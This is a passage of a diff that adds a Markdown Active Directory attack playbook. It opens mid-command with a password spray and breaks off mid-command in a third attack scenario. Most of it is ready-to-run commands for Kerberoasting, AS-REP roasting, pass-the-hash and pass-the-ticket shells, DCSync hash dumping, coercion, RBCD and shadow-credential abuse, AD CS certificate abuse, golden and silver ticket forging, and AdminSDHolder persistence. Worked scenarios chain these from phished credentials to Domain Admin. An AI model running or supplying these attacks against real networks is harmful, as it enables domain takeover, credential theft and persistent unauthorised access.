# CME password spray (multiple passwords — slow, respect lockout)
|
|
255
|
+
crackmapexec smb $DC_IP \
|
|
256
|
+
-u valid_users.txt \
|
|
257
|
+
-p passwords.txt \
|
|
258
|
+
--no-bruteforce \
|
|
259
|
+
--continue-on-success
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
---
|
|
263
|
+
|
|
264
|
+
### Phase 2: Domain Enumeration (With Credentials)
|
|
265
|
+
|
|
266
|
+
#### Step 5 — BloodHound Data Collection
|
|
267
|
+
|
|
268
|
+
```bash
|
|
269
|
+
# Method A: BloodHound Python (from Kali, no file on target needed)
|
|
270
|
+
bloodhound-python \
|
|
271
|
+
-d $DOMAIN \
|
|
272
|
+
-u $USER \
|
|
273
|
+
-p "$PASS" \
|
|
274
|
+
-c All \
|
|
275
|
+
--zip \
|
|
276
|
+
-ns $DC_IP
|
|
277
|
+
|
|
278
|
+
# Method B: SharpHound via CME (uploads and executes on target)
|
|
279
|
+
crackmapexec smb $DC_IP \
|
|
280
|
+
-u $USER -p "$PASS" \
|
|
281
|
+
-M bloodhound \
|
|
282
|
+
--options
|
|
283
|
+
|
|
284
|
+
# Method C: BloodHound Python with pass-the-hash
|
|
285
|
+
bloodhound-python \
|
|
286
|
+
-d $DOMAIN \
|
|
287
|
+
--hashes $HASH \
|
|
288
|
+
-u $USER \
|
|
289
|
+
-c All \
|
|
290
|
+
--zip \
|
|
291
|
+
-ns $DC_IP
|
|
292
|
+
|
|
293
|
+
# Start Neo4j and BloodHound
|
|
294
|
+
sudo neo4j start
|
|
295
|
+
bloodhound &
|
|
296
|
+
# Upload the ZIP file, then run built-in queries:
|
|
297
|
+
# "Find Shortest Paths to Domain Admins"
|
|
298
|
+
# "Find Principals with DCSync Rights"
|
|
299
|
+
# "Shortest Path to Unconstrained Delegation Systems"
|
|
300
|
+
```
|
|
301
|
+
|
|
302
|
+
#### Step 6 — LDAP Enumeration
|
|
303
|
+
|
|
304
|
+
```bash
|
|
305
|
+
# Enumerate all users
|
|
306
|
+
ldapsearch -x -H ldap://$DC_IP \
|
|
307
|
+
-D "$USER@$DOMAIN" -w "$PASS" \
|
|
308
|
+
-b "DC=corp,DC=local" \
|
|
309
|
+
"(objectClass=user)" \
|
|
310
|
+
sAMAccountName userPrincipalName memberOf pwdLastSet \
|
|
311
|
+
> ldap_users.txt
|
|
312
|
+
|
|
313
|
+
# Enumerate groups
|
|
314
|
+
ldapsearch -x -H ldap://$DC_IP \
|
|
315
|
+
-D "$USER@$DOMAIN" -w "$PASS" \
|
|
316
|
+
-b "DC=corp,DC=local" \
|
|
317
|
+
"(objectClass=group)" \
|
|
318
|
+
cn member > ldap_groups.txt
|
|
319
|
+
|
|
320
|
+
# Enumerate computers
|
|
321
|
+
ldapsearch -x -H ldap://$DC_IP \
|
|
322
|
+
-D "$USER@$DOMAIN" -w "$PASS" \
|
|
323
|
+
-b "DC=corp,DC=local" \
|
|
324
|
+
"(objectClass=computer)" \
|
|
325
|
+
cn operatingSystem dNSHostName > ldap_computers.txt
|
|
326
|
+
|
|
327
|
+
# Find accounts with no pre-auth required (AS-REP Roasting targets)
|
|
328
|
+
ldapsearch -x -H ldap://$DC_IP \
|
|
329
|
+
-D "$USER@$DOMAIN" -w "$PASS" \
|
|
330
|
+
-b "DC=corp,DC=local" \
|
|
331
|
+
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
|
|
332
|
+
sAMAccountName
|
|
333
|
+
|
|
334
|
+
# Find accounts with SPNs set (Kerberoasting targets)
|
|
335
|
+
ldapsearch -x -H ldap://$DC_IP \
|
|
336
|
+
-D "$USER@$DOMAIN" -w "$PASS" \
|
|
337
|
+
-b "DC=corp,DC=local" \
|
|
338
|
+
"(&(objectClass=user)(servicePrincipalName=*))" \
|
|
339
|
+
sAMAccountName servicePrincipalName
|
|
340
|
+
```
|
|
341
|
+
|
|
342
|
+
#### Step 7 — CME Enumeration
|
|
343
|
+
|
|
344
|
+
```bash
|
|
345
|
+
# Enumerate shares
|
|
346
|
+
crackmapexec smb $DC_IP -u $USER -p "$PASS" --shares
|
|
347
|
+
|
|
348
|
+
# Enumerate logged-on users across subnet
|
|
349
|
+
crackmapexec smb 192.168.1.0/24 -u $USER -p "$PASS" --loggedon-users
|
|
350
|
+
|
|
351
|
+
# Find local admins across subnet
|
|
352
|
+
crackmapexec smb 192.168.1.0/24 -u $USER -p "$PASS" --local-groups "Administrators"
|
|
353
|
+
|
|
354
|
+
# Enumerate password policy
|
|
355
|
+
crackmapexec smb $DC_IP -u $USER -p "$PASS" --pass-pol
|
|
356
|
+
|
|
357
|
+
# Spider shares for sensitive files
|
|
358
|
+
crackmapexec smb $DC_IP -u $USER -p "$PASS" -M spider_plus
|
|
359
|
+
```
|
|
360
|
+
|
|
361
|
+
---
|
|
362
|
+
|
|
363
|
+
### Phase 3: Credential Attacks
|
|
364
|
+
|
|
365
|
+
#### Step 8 — Kerberoasting
|
|
366
|
+
|
|
367
|
+
```bash
|
|
368
|
+
# Request service tickets for all SPNs and extract hashes (from Linux)
|
|
369
|
+
impacket-GetUserSPNs \
|
|
370
|
+
"$DOMAIN/$USER:$PASS" \
|
|
371
|
+
-dc-ip $DC_IP \
|
|
372
|
+
-request \
|
|
373
|
+
-outputfile kerberoast_hashes.txt
|
|
374
|
+
|
|
375
|
+
# With NTLM hash instead of password
|
|
376
|
+
impacket-GetUserSPNs \
|
|
377
|
+
"$DOMAIN/$USER" \
|
|
378
|
+
-hashes $HASH \
|
|
379
|
+
-dc-ip $DC_IP \
|
|
380
|
+
-request \
|
|
381
|
+
-outputfile kerberoast_hashes.txt
|
|
382
|
+
|
|
383
|
+
# Crack with hashcat (TGS-REP / RC4 = mode 13100, AES256 = mode 19700)
|
|
384
|
+
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
|
|
385
|
+
--force -O
|
|
386
|
+
|
|
387
|
+
# AES-encrypted TGS cracking (slower)
|
|
388
|
+
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
|
|
389
|
+
--force -O
|
|
390
|
+
|
|
391
|
+
# On Windows target with Rubeus:
|
|
392
|
+
# Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
|
|
393
|
+
# Rubeus.exe kerberoast /user:svc_sql /format:hashcat
|
|
394
|
+
```
|
|
395
|
+
|
|
396
|
+
#### Step 9 — AS-REP Roasting
|
|
397
|
+
|
|
398
|
+
```bash
|
|
399
|
+
# Find and roast accounts with pre-auth disabled (no creds needed)
|
|
400
|
+
impacket-GetNPUsers \
|
|
401
|
+
"$DOMAIN/" \
|
|
402
|
+
-dc-ip $DC_IP \
|
|
403
|
+
-no-pass \
|
|
404
|
+
-usersfile valid_users.txt \
|
|
405
|
+
-outputfile asrep_hashes.txt \
|
|
406
|
+
-format hashcat
|
|
407
|
+
|
|
408
|
+
# With credentials (enumerate then roast)
|
|
409
|
+
impacket-GetNPUsers \
|
|
410
|
+
"$DOMAIN/$USER:$PASS" \
|
|
411
|
+
-dc-ip $DC_IP \
|
|
412
|
+
-request \
|
|
413
|
+
-outputfile asrep_hashes.txt \
|
|
414
|
+
-format hashcat
|
|
415
|
+
|
|
416
|
+
# Crack AS-REP hashes (mode 18200)
|
|
417
|
+
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
|
|
418
|
+
--force -O
|
|
419
|
+
|
|
420
|
+
# On Windows with Rubeus:
|
|
421
|
+
# Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
|
|
422
|
+
```
|
|
423
|
+
|
|
424
|
+
---
|
|
425
|
+
|
|
426
|
+
### Phase 4: Lateral Movement
|
|
427
|
+
|
|
428
|
+
#### Step 10 — Pass-the-Hash (PtH)
|
|
429
|
+
|
|
430
|
+
```bash
|
|
431
|
+
# Test PtH against a target host
|
|
432
|
+
crackmapexec smb <TARGET_IP> \
|
|
433
|
+
-u Administrator \
|
|
434
|
+
-H "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
|
|
435
|
+
|
|
436
|
+
# Spray hash across subnet
|
|
437
|
+
crackmapexec smb 192.168.1.0/24 \
|
|
438
|
+
-u Administrator \
|
|
439
|
+
-H "<NTLM_HASH>" \
|
|
440
|
+
--local-auth \
|
|
441
|
+
2>/dev/null | grep "+"
|
|
442
|
+
|
|
443
|
+
# Get a shell via PtH (impacket psexec)
|
|
444
|
+
impacket-psexec \
|
|
445
|
+
-hashes "$HASH" \
|
|
446
|
+
"$DOMAIN/Administrator@<TARGET_IP>"
|
|
447
|
+
|
|
448
|
+
# WMI shell via PtH
|
|
449
|
+
impacket-wmiexec \
|
|
450
|
+
-hashes "$HASH" \
|
|
451
|
+
"$DOMAIN/Administrator@<TARGET_IP>"
|
|
452
|
+
|
|
453
|
+
# SMBexec (stealthier than psexec — no file written to disk)
|
|
454
|
+
impacket-smbexec \
|
|
455
|
+
-hashes "$HASH" \
|
|
456
|
+
"$DOMAIN/Administrator@<TARGET_IP>"
|
|
457
|
+
|
|
458
|
+
# Evil-WinRM via PtH (WinRM must be enabled)
|
|
459
|
+
evil-winrm -i <TARGET_IP> \
|
|
460
|
+
-u Administrator \
|
|
461
|
+
-H "<NT_HASH>"
|
|
462
|
+
```
|
|
463
|
+
|
|
464
|
+
#### Step 11 — Pass-the-Ticket (PtT)
|
|
465
|
+
|
|
466
|
+
```bash
|
|
467
|
+
# Export Kerberos tickets from memory (Windows — requires local admin)
|
|
468
|
+
# On Windows with Rubeus:
|
|
469
|
+
# Rubeus.exe dump /service:krbtgt /nowrap # export TGT
|
|
470
|
+
# Rubeus.exe dump /luid:0x3e4 /nowrap # export by logon session
|
|
471
|
+
|
|
472
|
+
# Convert .kirbi to .ccache for Linux use
|
|
473
|
+
impacket-ticketConverter ticket.kirbi ticket.ccache
|
|
474
|
+
|
|
475
|
+
# Use ticket on Linux
|
|
476
|
+
export KRB5CCNAME=/path/to/ticket.ccache
|
|
477
|
+
impacket-psexec -k -no-pass "$DOMAIN/user@<TARGET>"
|
|
478
|
+
|
|
479
|
+
# Request TGS for specific service using TGT
|
|
480
|
+
# On Windows with Rubeus:
|
|
481
|
+
# Rubeus.exe asktgs /ticket:<base64_TGT> /service:cifs/dc01.corp.local /ptt
|
|
482
|
+
|
|
483
|
+
# impacket getST — request a service ticket
|
|
484
|
+
impacket-getST \
|
|
485
|
+
-k -no-pass \
|
|
486
|
+
-spn "cifs/dc01.corp.local" \
|
|
487
|
+
"$DOMAIN/user"
|
|
488
|
+
```
|
|
489
|
+
|
|
490
|
+
---
|
|
491
|
+
|
|
492
|
+
### Phase 5: Privilege Escalation
|
|
493
|
+
|
|
494
|
+
#### Step 12 — DCSync (Domain Replication)
|
|
495
|
+
|
|
496
|
+
```bash
|
|
497
|
+
# DCSync using secretsdump — dumps all domain hashes
|
|
498
|
+
# Requires: Domain Admin, or account with Replicating Directory Changes + All
|
|
499
|
+
impacket-secretsdump \
|
|
500
|
+
"$DOMAIN/$USER:$PASS@$DC_IP" \
|
|
501
|
+
-just-dc \
|
|
502
|
+
-outputfile domain_hashes.txt
|
|
503
|
+
|
|
504
|
+
# DCSync with NTLM hash
|
|
505
|
+
impacket-secretsdump \
|
|
506
|
+
-hashes "$HASH" \
|
|
507
|
+
"$DOMAIN/$USER@$DC_IP" \
|
|
508
|
+
-just-dc \
|
|
509
|
+
-outputfile domain_hashes.txt
|
|
510
|
+
|
|
511
|
+
# DCSync with Kerberos ticket
|
|
512
|
+
export KRB5CCNAME=admin.ccache
|
|
513
|
+
impacket-secretsdump \
|
|
514
|
+
-k -no-pass \
|
|
515
|
+
"$DC_HOST" \
|
|
516
|
+
-just-dc
|
|
517
|
+
|
|
518
|
+
# Dump specific user (krbtgt for golden ticket)
|
|
519
|
+
impacket-secretsdump \
|
|
520
|
+
"$DOMAIN/$USER:$PASS@$DC_IP" \
|
|
521
|
+
-just-dc-user krbtgt
|
|
522
|
+
|
|
523
|
+
# On Windows with Mimikatz:
|
|
524
|
+
# lsadump::dcsync /domain:corp.local /user:krbtgt
|
|
525
|
+
# lsadump::dcsync /domain:corp.local /all /csv
|
|
526
|
+
```
|
|
527
|
+
|
|
528
|
+
#### Step 13 — Unconstrained Delegation Abuse
|
|
529
|
+
|
|
530
|
+
```bash
|
|
531
|
+
# Find computers with unconstrained delegation
|
|
532
|
+
ldapsearch -x -H ldap://$DC_IP \
|
|
533
|
+
-D "$USER@$DOMAIN" -w "$PASS" \
|
|
534
|
+
-b "DC=corp,DC=local" \
|
|
535
|
+
"(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
|
|
536
|
+
cn dNSHostName
|
|
537
|
+
|
|
538
|
+
# If you compromise an unconstrained delegation host:
|
|
539
|
+
# 1. Coerce DC authentication to your host using PrinterBug/PetitPotam
|
|
540
|
+
# On Windows with Rubeus (on the delegation host):
|
|
541
|
+
# Rubeus.exe monitor /interval:5 /nowrap # monitor for incoming tickets
|
|
542
|
+
|
|
543
|
+
# Trigger coercion from Linux (SpoolSample / MS-RPRN)
|
|
544
|
+
# pip3 install printerbug
|
|
545
|
+
python3 /opt/printerbug/printerbug.py \
|
|
546
|
+
"$DOMAIN/$USER:$PASS@$DC_IP" \
|
|
547
|
+
<DELEGATION_HOST_IP>
|
|
548
|
+
|
|
549
|
+
# Or use PetitPotam (unauthenticated in some cases)
|
|
550
|
+
python3 /opt/PetitPotam/PetitPotam.py \
|
|
551
|
+
<DELEGATION_HOST_IP> \
|
|
552
|
+
$DC_IP
|
|
553
|
+
|
|
554
|
+
# The DC's TGT lands in memory on the delegation host
|
|
555
|
+
# Export it with Rubeus, then use for DCSync
|
|
556
|
+
```
|
|
557
|
+
|
|
558
|
+
#### Step 14 — RBCD (Resource-Based Constrained Delegation) Abuse
|
|
559
|
+
|
|
560
|
+
```bash
|
|
561
|
+
# Prerequisites: Write access to msDS-AllowedToActOnBehalfOfOtherIdentity
|
|
562
|
+
# on target computer object (via GenericWrite, WriteProperty, or computer create rights)
|
|
563
|
+
|
|
564
|
+
# Step A: Create a fake computer account (if we have MAQ > 0)
|
|
565
|
+
impacket-addcomputer \
|
|
566
|
+
"$DOMAIN/$USER:$PASS" \
|
|
567
|
+
-computer-name "FAKE$" \
|
|
568
|
+
-computer-pass "FakePass123!" \
|
|
569
|
+
-dc-ip $DC_IP
|
|
570
|
+
|
|
571
|
+
# Step B: Set RBCD — allow FAKE$ to delegate to TARGET
|
|
572
|
+
python3 /opt/impacket/examples/rbcd.py \
|
|
573
|
+
-f "FAKE$" \
|
|
574
|
+
-t "TARGET_COMPUTER$" \
|
|
575
|
+
-dc-ip $DC_IP \
|
|
576
|
+
"$DOMAIN/$USER:$PASS"
|
|
577
|
+
|
|
578
|
+
# Alternative with bloodyAD:
|
|
579
|
+
pip3 install bloodyad
|
|
580
|
+
bloodyAD \
|
|
581
|
+
-u $USER -p "$PASS" \
|
|
582
|
+
-d $DOMAIN \
|
|
583
|
+
--host $DC_IP \
|
|
584
|
+
set object "TARGET_COMPUTER$" \
|
|
585
|
+
msDS-AllowedToActOnBehalfOfOtherIdentity \
|
|
586
|
+
'(sAMAccountName=FAKE$)'
|
|
587
|
+
|
|
588
|
+
# Step C: Request a service ticket impersonating Administrator
|
|
589
|
+
impacket-getST \
|
|
590
|
+
-spn "cifs/TARGET_COMPUTER.corp.local" \
|
|
591
|
+
-impersonate Administrator \
|
|
592
|
+
-dc-ip $DC_IP \
|
|
593
|
+
"$DOMAIN/FAKE$:FakePass123!"
|
|
594
|
+
|
|
595
|
+
# Step D: Use the ticket
|
|
596
|
+
export KRB5CCNAME=Administrator@cifs_TARGET_COMPUTER.corp.local@CORP.LOCAL.ccache
|
|
597
|
+
impacket-psexec -k -no-pass "Administrator@TARGET_COMPUTER.corp.local"
|
|
598
|
+
```
|
|
599
|
+
|
|
600
|
+
#### Step 15 — Shadow Credentials
|
|
601
|
+
|
|
602
|
+
```bash
|
|
603
|
+
# Prerequisites: Write access to msDS-KeyCredentialLink attribute of a target account
|
|
604
|
+
|
|
605
|
+
# From Linux with pywhisker
|
|
606
|
+
python3 /opt/pywhisker/pywhisker.py \
|
|
607
|
+
-d $DOMAIN \
|
|
608
|
+
-u $USER \
|
|
609
|
+
-p "$PASS" \
|
|
610
|
+
--dc-ip $DC_IP \
|
|
611
|
+
--target "TARGET_USER" \
|
|
612
|
+
--action add
|
|
613
|
+
|
|
614
|
+
# pywhisker outputs a .pfx file and password
|
|
615
|
+
# Use with PKINITtools to get a TGT
|
|
616
|
+
python3 /opt/PKINITtools/gettgtpkinit.py \
|
|
617
|
+
-cert-pfx <pfx_file> \
|
|
618
|
+
-pfx-pass <pfx_password> \
|
|
619
|
+
"$DOMAIN/TARGET_USER" \
|
|
620
|
+
target_user.ccache
|
|
621
|
+
|
|
622
|
+
# Get NT hash via PKINIT unpac-the-hash
|
|
623
|
+
python3 /opt/PKINITtools/getnthash.py \
|
|
624
|
+
-key <AS_REP_key> \
|
|
625
|
+
"$DOMAIN/TARGET_USER"
|
|
626
|
+
|
|
627
|
+
# From Windows with Whisker (C# tool):
|
|
628
|
+
# Whisker.exe add /target:TARGET_USER
|
|
629
|
+
# Then use Rubeus with the .pfx to get TGT
|
|
630
|
+
```
|
|
631
|
+
|
|
632
|
+
#### Step 16 — AD CS / Certificate Services Attacks (Certipy)
|
|
633
|
+
|
|
634
|
+
```bash
|
|
635
|
+
# Find vulnerable certificate templates (ESC1-ESC8)
|
|
636
|
+
certipy find \
|
|
637
|
+
-u "$USER@$DOMAIN" \
|
|
638
|
+
-p "$PASS" \
|
|
639
|
+
-dc-ip $DC_IP \
|
|
640
|
+
-vulnerable \
|
|
641
|
+
-stdout
|
|
642
|
+
|
|
643
|
+
# ESC1: Enroll in a template that allows SAN and Client Auth
|
|
644
|
+
certipy req \
|
|
645
|
+
-u "$USER@$DOMAIN" \
|
|
646
|
+
-p "$PASS" \
|
|
647
|
+
-dc-ip $DC_IP \
|
|
648
|
+
-target <CA_HOST> \
|
|
649
|
+
-ca "corp-CA" \
|
|
650
|
+
-template "VulnTemplate" \
|
|
651
|
+
-upn "administrator@corp.local"
|
|
652
|
+
|
|
653
|
+
# Use the certificate to authenticate and get TGT
|
|
654
|
+
certipy auth \
|
|
655
|
+
-pfx administrator.pfx \
|
|
656
|
+
-dc-ip $DC_IP
|
|
657
|
+
|
|
658
|
+
# This yields: administrator's NTLM hash + TGT
|
|
659
|
+
```
|
|
660
|
+
|
|
661
|
+
---
|
|
662
|
+
|
|
663
|
+
### Phase 6: Persistence & Post-Exploitation
|
|
664
|
+
|
|
665
|
+
#### Step 17 — Golden Ticket Forging
|
|
666
|
+
|
|
667
|
+
```bash
|
|
668
|
+
# Requirements: krbtgt hash (from DCSync), Domain SID
|
|
669
|
+
|
|
670
|
+
# Get Domain SID
|
|
671
|
+
impacket-getPac \
|
|
672
|
+
-targetUser administrator \
|
|
673
|
+
"$DOMAIN/$USER:$PASS"
|
|
674
|
+
# OR from secretsdump output
|
|
675
|
+
|
|
676
|
+
# Forge Golden Ticket with Impacket
|
|
677
|
+
impacket-ticketer \
|
|
678
|
+
-nthash <KRBTGT_NTLM_HASH> \
|
|
679
|
+
-domain-sid <DOMAIN_SID> \
|
|
680
|
+
-domain $DOMAIN \
|
|
681
|
+
-groups "512,513,518,519,520" \
|
|
682
|
+
Administrator
|
|
683
|
+
|
|
684
|
+
# Resulting: Administrator.ccache
|
|
685
|
+
export KRB5CCNAME=Administrator.ccache
|
|
686
|
+
impacket-psexec -k -no-pass "Administrator@$DC_HOST"
|
|
687
|
+
|
|
688
|
+
# On Windows with Mimikatz:
|
|
689
|
+
# kerberos::golden /user:Administrator /domain:corp.local
|
|
690
|
+
# /sid:S-1-5-21-xxx /krbtgt:<hash> /ptt
|
|
691
|
+
# kerberos::golden /user:FakeAdmin /domain:corp.local
|
|
692
|
+
# /sid:S-1-5-21-xxx /krbtgt:<hash> /ticket:golden.kirbi
|
|
693
|
+
|
|
694
|
+
# Diamond Ticket (harder to detect — uses real TGT as base)
|
|
695
|
+
# Rubeus.exe diamond /krbkey:<krbtgt_aes256> /user:Administrator /enctype:aes
|
|
696
|
+
```
|
|
697
|
+
|
|
698
|
+
#### Step 18 — Silver Ticket Forging
|
|
699
|
+
|
|
700
|
+
```bash
|
|
701
|
+
# Requirements: target machine account hash (from secretsdump), Domain SID
|
|
702
|
+
# Silver ticket is for a specific service — no DC communication needed
|
|
703
|
+
|
|
704
|
+
# Forge Silver Ticket for CIFS on a specific host
|
|
705
|
+
impacket-ticketer \
|
|
706
|
+
-nthash <MACHINE_ACCOUNT_HASH> \
|
|
707
|
+
-domain-sid <DOMAIN_SID> \
|
|
708
|
+
-domain $DOMAIN \
|
|
709
|
+
-spn "cifs/FILESERVER.corp.local" \
|
|
710
|
+
Administrator
|
|
711
|
+
|
|
712
|
+
export KRB5CCNAME=Administrator.ccache
|
|
713
|
+
impacket-smbclient -k -no-pass "Administrator@FILESERVER.corp.local"
|
|
714
|
+
|
|
715
|
+
# Common silver ticket SPNs:
|
|
716
|
+
# cifs/<host> — file access, psexec
|
|
717
|
+
# host/<host> — scheduled tasks, service control
|
|
718
|
+
# http/<host> — WinRM, web services
|
|
719
|
+
# MSSQLSvc/<host> — SQL Server
|
|
720
|
+
```
|
|
721
|
+
|
|
722
|
+
#### Step 19 — Forest Trust Abuse
|
|
723
|
+
|
|
724
|
+
```bash
|
|
725
|
+
# Enumerate trusts
|
|
726
|
+
ldapsearch -x -H ldap://$DC_IP \
|
|
727
|
+
-D "$USER@$DOMAIN" -w "$PASS" \
|
|
728
|
+
-b "DC=corp,DC=local" \
|
|
729
|
+
"(objectClass=trustedDomain)" \
|
|
730
|
+
name trustDirection trustType
|
|
731
|
+
|
|
732
|
+
# Get trust keys (requires DA in source domain)
|
|
733
|
+
impacket-secretsdump \
|
|
734
|
+
"$DOMAIN/Administrator:$PASS@$DC_IP" \
|
|
735
|
+
-just-dc | grep -i trust
|
|
736
|
+
|
|
737
|
+
# Forge inter-realm TGT for trusted forest
|
|
738
|
+
impacket-ticketer \
|
|
739
|
+
-nthash <INTER_REALM_TRUST_KEY> \
|
|
740
|
+
-domain-sid <SOURCE_DOMAIN_SID> \
|
|
741
|
+
-domain $DOMAIN \
|
|
742
|
+
-extra-sid <TARGET_DOMAIN_ENTERPRISE_ADMINS_SID> \
|
|
743
|
+
-spn "krbtgt/TARGET_DOMAIN" \
|
|
744
|
+
Administrator
|
|
745
|
+
|
|
746
|
+
# Request TGS in target forest using the forged TGT
|
|
747
|
+
export KRB5CCNAME=Administrator.ccache
|
|
748
|
+
impacket-getST \
|
|
749
|
+
-k -no-pass \
|
|
750
|
+
-spn "cifs/dc.target.forest" \
|
|
751
|
+
"target.forest/Administrator"
|
|
752
|
+
```
|
|
753
|
+
|
|
754
|
+
#### Step 20 — AdminSDHolder Persistence
|
|
755
|
+
|
|
756
|
+
```bash
|
|
757
|
+
# AdminSDHolder propagates ACLs to protected groups every 60 min (SDProp)
|
|
758
|
+
# Adding ourselves to AdminSDHolder ACL gives persistent DA-level rights
|
|
759
|
+
|
|
760
|
+
# From Linux with impacket / dacledit
|
|
761
|
+
python3 /opt/impacket/examples/dacledit.py \
|
|
762
|
+
"$DOMAIN/$USER:$PASS" \
|
|
763
|
+
-dc-ip $DC_IP \
|
|
764
|
+
-principal "$USER" \
|
|
765
|
+
-target "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
|
|
766
|
+
-action write \
|
|
767
|
+
-rights FullControl
|
|
768
|
+
|
|
769
|
+
# From Windows with PowerView:
|
|
770
|
+
# Add-ObjectACL -TargetIdentity "AdminSDHolder"
|
|
771
|
+
# -PrincipalIdentity jdoe -Rights All
|
|
772
|
+
```
|
|
773
|
+
|
|
774
|
+
---
|
|
775
|
+
|
|
776
|
+
## Real Attack Scenarios
|
|
777
|
+
|
|
778
|
+
### Scenario 1: Low-Privileged User to Domain Admin via Kerberoasting
|
|
779
|
+
|
|
780
|
+
**Context:** You have phished a domain user credential (`helpdesk:Helpdesk2024`). No local admin rights.
|
|
781
|
+
|
|
782
|
+
```bash
|
|
783
|
+
# 1. Enumerate domain
|
|
784
|
+
export USER=helpdesk PASS=Helpdesk2024 DOMAIN=corp.local DC_IP=10.10.10.5
|
|
785
|
+
|
|
786
|
+
# 2. Collect BloodHound data
|
|
787
|
+
bloodhound-python -d $DOMAIN -u $USER -p "$PASS" -c All --zip -ns $DC_IP
|
|
788
|
+
|
|
789
|
+
# 3. Find kerberoastable accounts (BloodHound shows svc_sql has path to DA)
|
|
790
|
+
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip $DC_IP -request \
|
|
791
|
+
-outputfile hashes.txt
|
|
792
|
+
|
|
793
|
+
# 4. Crack the hash
|
|
794
|
+
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force
|
|
795
|
+
# Result: svc_sql:Sql@dmin2023
|
|
796
|
+
|
|
797
|
+
# 5. Verify DA membership
|
|
798
|
+
crackmapexec smb $DC_IP -u svc_sql -p "Sql@dmin2023" -d $DOMAIN
|
|
799
|
+
|
|
800
|
+
# 6. DCSync as svc_sql (it has Replication rights per BloodHound)
|
|
801
|
+
impacket-secretsdump "$DOMAIN/svc_sql:Sql@dmin2023@$DC_IP" -just-dc \
|
|
802
|
+
-outputfile all_hashes.txt
|
|
803
|
+
|
|
804
|
+
# 7. PtH as Domain Admin
|
|
805
|
+
impacket-psexec -hashes "aad3...:$(grep 'Administrator:::' all_hashes.txt | cut -d: -f4)" \
|
|
806
|
+
"$DOMAIN/Administrator@$DC_IP"
|
|
807
|
+
|
|
808
|
+
# Time to DA: ~30 minutes
|
|
809
|
+
```
|
|
810
|
+
|
|
811
|
+
---
|
|
812
|
+
|
|
813
|
+
### Scenario 2: No Credentials — LLMNR Poison to DA via RBCD
|
|
814
|
+
|
|
815
|
+
**Context:** Network access only. No credentials. Windows AD environment.
|
|
816
|
+
|
|
817
|
+
```bash
|
|
818
|
+
# 1. Start Responder to capture hashes
|
|
819
|
+
sudo responder -I eth0 -wrf
|
|
820
|
+
# Wait for LLMNR/NBT-NS event — get NTLMv2 hash of WORKSTATION$
|
|
821
|
+
|
|
822
|
+
# 2. Crack the hash (or relay it)
|
|
823
|
+
hashcat -m 5600 SMBNTLMv2-hash.txt /usr/share/wordlists/rockyou.txt --force
|
|
824
|
+
# Result: jsmith:Summer2024!
|
|
825
|
+
|
|
826
|
+
# 3. Enumerate with captured creds
|
|
827
|
+
export USER=jsmith PASS="Summer2024!" DOMAIN=corp.local DC_IP=10.10.10.5
|
|
828
|
+
bloodhound-python -d $DOMAIN -u $USER -p "$PASS" -c All --zip -ns $DC_IP
|
|
829
|
+
|
|
830
|
+
# 4. BloodHound shows jsmith has GenericWrite on FILESERVER$
|
|
831
|
+
|
|
832
|
+
# 5. RBCD attack: Create attacker-controlled computer
|
|
833
|
+
impacket-addcomputer "$DOMAIN/$USER:$PASS" -computer-name "ATTK$" \
|
|
834
|
+
-computer-pass "Attk@Pass1!" -dc-ip $DC_IP
|
|
835
|
+
|
|
836
|
+
# 6. Set RBCD on FILESERVER$
|
|
837
|
+
python3 /opt/impacket/examples/rbcd.py \
|
|
838
|
+
-f "ATTK$" -t "FILESERVER$" -dc-ip $DC_IP "$DOMAIN/$USER:$PASS"
|
|
839
|
+
|
|
840
|
+
# 7. Get admin service ticket for FILESERVER
|
|
841
|
+
impacket-getST -spn "cifs/FILESERVER.corp.local" \
|
|
842
|
+
-impersonate Administrator -dc-ip $DC_IP \
|
|
843
|
+
"$DOMAIN/ATTK$:Attk@Pass1!"
|
|
844
|
+
|
|
845
|
+
# 8. Access FILESERVER as Administrator
|
|
846
|
+
export KRB5CCNAME=Administrator@cifs_FILESERVER.corp.local@CORP.LOCAL.ccache
|
|
847
|
+
impacket-psexec -k -no-pass Administrator@FILESERVER.corp.local
|
|
848
|
+
|
|
849
|
+
# 9. Dump LSASS on FILESERVER — find DA session
|
|
850
|
+
# On target: Rubeus.exe dump /nowrap
|
|
851
|
+
# Find a DA TGT and import it
|
|
852
|
+
|
|
853
|
+
# 10. Use DA TGT for DCSync
|
|
854
|
+
impacket-secretsdump -k -no-pass $DC_HOST -just-dc
|
|
855
|
+
```
|
|
856
|
+
|
|
857
|
+
---
|
|
858
|
+
|
|
859
|
+
### Scenario 3: Shadow Credentials + AD CS Chain
|
|
860
|
+
|
|
861
|
+
**Context:** You have write access to a computer object (via ownership or ACL). AD CS is deployed.
|
|
862
|
+
|
|
863
|
+
```bash
|
|
864
|
+
# 1. Add shadow credential to TARGET_COMPUTER$
|
|
865
|
+
python3 /opt/pywhisker/pywhisker.py \
|
|
866
|
+
-d $DOMAIN -u $USER -p "$PASS" --dc-ip $DC_IP \
|
|
867
|
+
--target "TARGET_COMPUTER$" --action add
|
|
868
|
+
# Output: shadow_cert.pfx, password: P@ssw0rd123
|
|
869
|
+
|
|
870
|
+
# 2. Use certificate to get TGT for TARGET_COMPUTER$
|
|
871
|
+
python3 /opt/PKINITtools/gettgtpkinit.py \
|
|
872
|
+
-cert-pfx shadow_cert.pfx -pfx-pass "P@ssw0rd123" \
|
|
873
|
+
"$DOMAIN/TARGET_COMPUTER$" computer.ccache
|
|
874
|
+
|
|
875
|
+
# 3. S4U2Self to impersonate Administrator on TARGET_COMPUTER
|
|
876
|
+
export KRB5CCNAME=computer.ccache
|
|
877
|
+
python3 /opt/PKINITtools/gets4uticket.py \
|
|
878
|
+
kerberos+ccache://$DOMAIN\\TARGET_COMPUTER\$:computer.ccache@$DC_HOST \
|
|
879
|
+
